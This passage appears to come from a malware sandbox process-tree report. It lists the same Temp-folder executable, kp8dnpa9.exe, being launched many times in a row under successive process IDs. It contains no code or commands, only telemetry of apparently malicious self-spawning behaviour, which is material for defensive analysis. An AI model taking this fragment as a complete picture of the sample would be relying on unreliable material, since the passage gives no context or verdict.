    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8292
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8300
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8308
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8316
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8324
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8332
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8340
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8348
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8356
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8364
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8372
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8380
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8388
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8396
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8404
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8412
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8420
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8428
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8436
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8444
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8452
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8460
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8468
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8476
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8484
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8492
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8500
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8508
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8516
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8524
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8532
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8540
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8548
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8556
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8564
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8572
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8580
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8588
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8596
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8604
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8612
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8620
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8628
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8636
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8644
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8652
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8660
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8668
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8676
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8684
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8692
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8700
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8708
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8716
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8724
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8732
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8740
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8748
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8756
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8764
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8772
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8780
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8788
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8796
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8804
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8812
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8820
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8828
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8836
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8844
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8852
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8860
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8868
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8876
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8884
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8892
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8900
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8908
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8916
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8924
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8932
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8940
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8948
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8956
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8964
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8972
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8980
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8988
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:8996
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9008
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9020
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9028
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9036
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9044
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9052
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9060
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9068
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9076
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9084
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9092
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9100
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9108
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9116
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9124
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9132
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9140
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9148
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9156
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9164
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9172
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9180
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9188
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9196
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9204
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9212
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9224
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9232
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9240
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9248
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9256
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9264
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9272
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9280
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9288
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9296
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9304
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9312
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9320
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9328
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9336
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9344
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9352
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9360
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9368
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9376
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9384
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9392
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9400
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9408
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9416
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9424
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9432
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9440
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9448
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9456
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9464
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9472
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9480
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9488
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9496
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9504
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9512
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9520
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9528
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9536
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9544
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9552
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9560
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9568
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9576
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9584
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9592
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9600
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9608
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9616
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9624
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:9632
